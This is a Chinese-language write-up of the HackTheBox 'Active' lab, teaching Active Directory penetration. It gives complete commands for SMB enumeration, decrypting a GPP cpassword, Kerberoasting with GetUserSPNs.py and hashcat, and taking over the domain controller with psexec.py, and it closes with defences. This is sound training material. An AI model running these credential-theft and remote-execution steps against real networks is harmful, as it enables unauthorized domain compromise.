AD-Active详解
字数 1609 2025-08-12 11:34:46
Active Directory渗透测试实战教学:从信息搜集到域控提权
0x00 前言
本教学文档基于HTB靶机"Active"的渗透过程,详细讲解Active Directory(AD)域渗透的关键技术和原理。通过本案例,您将学习到SMB枚举、GPP密码解密、Kerberoasting攻击等AD域渗透的核心技术。
0x01 信息搜集阶段
1.1 端口扫描与服务识别
使用nmap进行初始扫描,发现以下关键服务:
nmap -sV -sC 10.10.10.100
关键发现:
- 53/tcp: Microsoft DNS服务,显示域名为active.htb
- 88/tcp: Kerberos服务
- 135/tcp: MSRPC
- 139/tcp: NetBIOS
- 389/tcp: LDAP (Active Directory)
- 445/tcp: SMB文件共享
- 464/tcp: kpasswd5 (Kerberos密码修改)
- 636/tcp: LDAP over SSL
- 3268/tcp: 全局目录LDAP
1.2 SMB枚举
使用smbmap工具检查SMB共享权限:
smbmap -H 10.10.10.100
关键发现:
- Replication共享具有READ ONLY权限,无需认证即可访问
- 其他共享如ADMIN\(、C\)、IPC$等需要认证
0x02 GPP密码解密攻击
2.1 GPP漏洞原理
组策略首选项(GPP)漏洞:
- 微软在2012年前允许在组策略中存储密码
- 密码以"cpassword"字段存储在SYSVOL共享的XML文件中
- 微软公开了加密密钥,导致这些密码可被解密
- 虽然微软在2014年发布了补丁,但已存在的GPP密码仍然脆弱
2.2 实际操作步骤
- 访问Replication共享:
smbclient //10.10.10.100/Replication -U ""%""
- 查找Groups.xml文件并获取加密密码:
<!-- Groups.xml示例内容 -->
<Groups>
<User>
<username>active.htb\SVC_TGS</username>
<password>edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ</password>
</User>
</Groups>
- 使用gpp-decrypt解密密码:
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
解密结果:GPPstillStandingStrong2k18
- 验证凭据有效性:
crackmapexec smb 10.10.10.100 -u "active.htb\SVC_TGS" -p "GPPstillStandingStrong2k18" --shares
- 访问Users共享获取user flag:
smbclient //10.10.10.100/Users -U SVC_TGS%GPPstillStandingStrong2k18
0x03 Kerberoasting攻击
3.1 Kerberoasting原理
Kerberoasting攻击关键点:
- 攻击者作为域用户请求服务票据(TGS)
- 服务票据使用服务账户的密码哈希加密
- 如果服务账户使用弱密码,可以离线破解
- 攻击仅需要域用户权限,不需要向目标服务发送流量
3.2 实际操作步骤
- 使用GetUserSPNs.py获取服务票据:
GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18
-
将获取的TGS票据保存为hash文件
-
使用hashcat破解:
# 查看krb5tgs模块
hashcat --example-hashes | grep krb5tgs -A5 -B5
# 开始破解(使用模式13100)
hashcat -m 13100 hash /root/rockyou.txt --force
- 破解结果:管理员密码
Ticketmaster1968
3.3 获取域管理员权限
使用psexec.py获取系统shell:
psexec.py Administrator:Ticketmaster1968@10.10.10.100
0x04 防御措施
针对GPP漏洞:
- 删除SYSVOL共享中所有包含cpassword的XML文件
- 安装MS14-025补丁
- 更改所有通过GPP设置的密码
针对Kerberoasting:
- 为服务账户设置强密码(>25字符)
- 启用"账户敏感,不能被委派"选项
- 定期审计服务账户
- 启用Kerberos事件日志(事件ID4769)
0x05 总结
本案例展示了完整的AD域渗透路径:
- 通过SMB枚举发现Replication共享可读
- 利用GPP漏洞获取域用户凭据
- 使用域用户权限进行Kerberoasting攻击
- 破解服务票据获取管理员密码
- 使用psexec获取域控完全权限
0x06 参考资料
- Microsoft GPP协议文档: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be
- Active Directory安全指南: https://rootdse.org/posts/active-directory-security-2/
- Kerberos协议规范: RFC 4120